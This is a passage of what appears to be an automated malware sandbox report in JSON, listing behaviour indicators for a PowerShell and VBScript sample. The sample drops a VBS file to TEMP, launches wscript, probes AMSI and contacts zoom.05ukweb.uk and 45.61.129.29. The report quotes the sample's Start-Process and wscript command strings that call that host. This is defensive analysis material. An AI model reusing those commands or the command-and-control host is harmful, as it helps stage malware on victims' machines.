File: \"AMSI\")","id":"string-275","level":"informative","mitre_attack_id":"T1562.001","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Dropped file: \"oklnkae.vbs\" - Location: [%TEMP%\\oklnkae.vbs]- [targetUID: 00000000-00003076]","id":"binary-35","level":"suspicious","mitre_attack_id":"T1105","name":"Drops script files inside temp directory","origin":"Binary File","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Pattern match: \"premium-server@thawte.com\"","id":"string-63","level":"informative","mitre_attack_id":"T1114","name":"Found E-Mail address in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"zoom.05ukweb.uk\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate process and/or its information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found strings \"winlogon.exe,services.exe,smss.exe,csrss.exe,wininit.exe\" (Source: \"00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp\")","id":"string-455","level":"informative","mitre_attack_id":"T1569.002","name":"Contains reference to multiple windows system processes","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"CreateFileMoniker\" (Indicator: \"CreateFile\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-315","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to create/open files (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00006036-00000C2C-2957895675\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006036-00000C2C-2958081895\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00006036-00000C2C-2958081924\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00006036-00000C2C-2958273924\")","id":"string-601","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to communicate with network (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Makes HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006036)","id":"api-179","level":"informative","mitre_attack_id":"T1562.001","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found string - \\\\.\\pipe\\PSHost.134180764564347005.6036.DefaultAppDomain.powershell","id":"string-146","level":"informative","mitre_attack_id":"T1559","name":"Found named pipe like strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at E5270000","id":"module-3","level":"informative","mitre_attack_id":"T1129","name":"Loads the .NET runtime environment","origin":"Loaded Module","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 0B950000\n \"wscript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 0B950000","id":"module-8","level":"informative","mitre_attack_id":"T1562.001","name":"Loads the AMSI (Antimalware Scan Interface) DLL","origin":"Loaded Module","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"Start-Process -FilePath $wscript -ArgumentList @($vbsPath, \"zoom.05ukweb.uk/ft\", 1)\" (Indicator: \"Start-Process\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")\n Found string \"Start-Process -FilePath $wscript -ArgumentList @($vbsPath, \"zoom.05ukweb.uk/ft\", 2)\" (Indicator: \"Start-Process\"; File: \"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\")","id":"string-250","level":"informative","mitre_attack_id":"T1543","name":"Contains ability to start a process (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$27","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Process \"%WINDIR%\\System32\\wscript.exe\" launched with commandline \"%TEMP%\\\\oklnkae.vbs zoom.05ukweb.uk/ft 1\" (UID: 00000000-00005276)\n Process \"%WINDIR%\\System32\\wscript.exe\" launched with commandline \"%TEMP%\\\\oklnkae.vbs zoom.05ukweb.uk/ft 2\" (UID: 00000000-00003076)","id":"target-411","level":"suspicious","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"Win32API|System Information Functions|GetWindowsDirectory\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp\")\n Found reference to API \"Win32API|System Information Functions|GetWindowsDirectory\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\")","id":"string-312","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve path in which Windows is installed (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$28","id":"api-234","level":"informative","mitre_attack_id":"T1573.002","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp\n 00000000-00003076.00000001.257334.762F0000.00000004.mdmp\n 00000000-00003076.00000002.259256.762F0000.00000004.mdmp]\n Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp\n 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp\n 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp]","id":"string-155","level":"informative","mitre_attack_id":"T1047","name":"Found WMI keywords in script (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\B8QJI8J4JJB1PCN9I2I1.temp\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF3cb6d8.TMP\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cy4qidx5.z50.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_prcwrtqm.x2p.psm1\" with delete access\n \"wscript.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\onedrive.lnk\" with delete access","id":"api-25","level":"suspicious","mitre_attack_id":"T1070.004","name":"Opens file with deletion access rights","origin":"API Call","relevance":7,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006036)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006036)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006036)","id":"api-294","level":"informative","mitre_attack_id":"T1082","name":"Attempts to call APIs to gather system and hardware detail","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-661","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment by using user activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$29","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006036-00000C17-2951880472\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006036-00000C17-2951899695\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006036-00000C17-2951904119\n \"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00006036-00000C17-2956244295","id":"api-39","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information of an entire harddrive","origin":"API Call","relevance":8,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$2a","id":"string-127","level":"informative","mitre_attack_id":"T1071.001","name":"Found User Agent related strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"wscript.exe\" opened \"\\Device\\KsecDD\"","id":"api-37","level":"informative","mitre_attack_id":"T1068","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WSCRIPT.EXE\")","id":"registry-55","level":"informative","mitre_attack_id":"T1518","name":"Reads the registry for installed applications","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","id":"registry-17","level":"informative","mitre_attack_id":"T1112","name":"Accesses System Certificates Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"\"2.5.29.37\"\n \"2.5.29.35\"\n \"192.168.0.2\"\n Potential IP \"192.168.0.2\" found in string \"IP Address:\t192.168.0.2,fe80::186f:2645:c900:3629\"\n Potential IP \"255.255.255.0\" found in string \"Subnet Mask:\t255.255.255.0,64\"\n Potential IP \"192.168.0.1\" found in string \"Default Gateway:\t192.168.0.1\"\n Potential IP \"192.168.0.1\" found in string \"DHCP Servers:\t192.168.0.1\"\n Potential IP \"192.168.0.1\" found in string \"DNS Server:\t192.168.0.1\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.31\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n \"2.5.29.32\"\n \"2.5.29.14\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"wscript.exe\" called \"WbemScripting.SWbemDateTime.1.CreateObject\" ... \n \"wscript.exe\" called \"WinHttp.WinHttpRequest.5.1.CreateObject\" ... \n \"wscript.exe\" called \"Scripting.Dictionary.CreateObject\" ... ","id":"api-64","level":"informative","mitre_attack_id":"T1059","name":"Logged script engine calls","origin":"API Call","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006036)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","id":"api-135","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user name","origin":"API Call","relevance":2,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; Source: \"00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp\")","id":"string-77","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to modify access token privileges (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"The script produces internet activity. Is obfuscated and/or drops files","id":"summary-5","level":"suspicious","mitre_attack_id":"T1204.002","name":"Script file shows a combination of malicious behaviors","origin":"Indicator Combinations","relevance":7,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-535","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to write files (API string)","origin":"File/Memory","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"$2b","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 45.61.129.29 on port 443 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin\" was detected as \"plain text\" and name: \"Format\"","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"VSetFileTimeW\" (Indicator: \"SetFileTime\"; Source: \"00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp\")\n Found reference to API \"VSetFileTimeW\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp\")","id":"string-409","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to set file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006036)\n \"wscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00005276)\n \"wscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00005276)\n \"wscript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003076)\n \"wscript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00003076)","id":"api-147","level":"informative","mitre_attack_id":"T1614","name":"Calls an API typically used to retrieve local language","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$2c","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Network Related","description":"Found scripted User Agent mozilla/5.0 (windows nt; windows nt 10.0; en-us) windowspowershell/5.1.16299.248","id":"network-103","level":"informative","mitre_attack_id":"T1071.001","name":"User Agent string indicates scripted web access","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"file/memory contains long string with (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")\n Found string \"elWrapper.EndProcessing() } } catch { throw } } # .EXTERNALHELP MSFT_MpWDOScan.cdxml-Help.xml}Microsoft.PowerShell.Core\\Export-ModuleMember -Function 'Start-MpWDOScan' -Alias '*'\" (Indicator: \"Export-ModuleMember\"; File: \"AMSI\")","id":"string-366","level":"informative","mitre_attack_id":"T1565","name":"Contains ability to modify data representation (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$2d","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$2e","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Able to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-164","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Found registry modification API: \"RegCreateKeyA\" in \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\"","id":"string-307","level":"informative","mitre_attack_id":"T1112","name":"Able to create/load registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00003076.00000000.255416.0B942000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\")","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Able to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006036)","id":"api-142","level":"informative","mitre_attack_id":"T1010","name":"Calls an API possibly used to retrieve a handle to the foreground window","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"zoom.05ukweb.uk\"","id":"network-0","level":"informative","mitre_attack_id":"T1071","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"Process \"wscript.exe\" (UID: 00000000-00005276) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"wscript.exe\" (UID: 00000000-00005276) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"wscript.exe\" (UID: 00000000-00005276) was launched with missing environment variables: \"PROCESSOR_ARCHITEW6432\"","id":"target-67","level":"informative","mitre_attack_id":"T1057","name":"Process launched with changed environment","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","id":"registry-20","level":"informative","mitre_attack_id":"T1012","name":"Reads Windows Trust Settings","origin":"Registry Access","relevance":5,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00006036)\n \"powershell.exe\" opens a process \"C:\\Windows\\explorer.exe\" (UID: 00000000-00006036)","id":"api-237","level":"informative","mitre_attack_id":"T1057","name":"Opens a handle to the specified process","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$2f","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"System Security","description":"Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00003076.00000001.257334.4ED25000.00000002.mdmp\"","id":"string-230","level":"informative","mitre_attack_id":"T1112","name":"Able to delete registry key/value (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"wscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$30","id":"string-207","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve file and directory information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 3140)\n \"powershell.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\wscript.exe\" (Handle: 3140)\n \"powershell.exe\" wrote 00000FB8 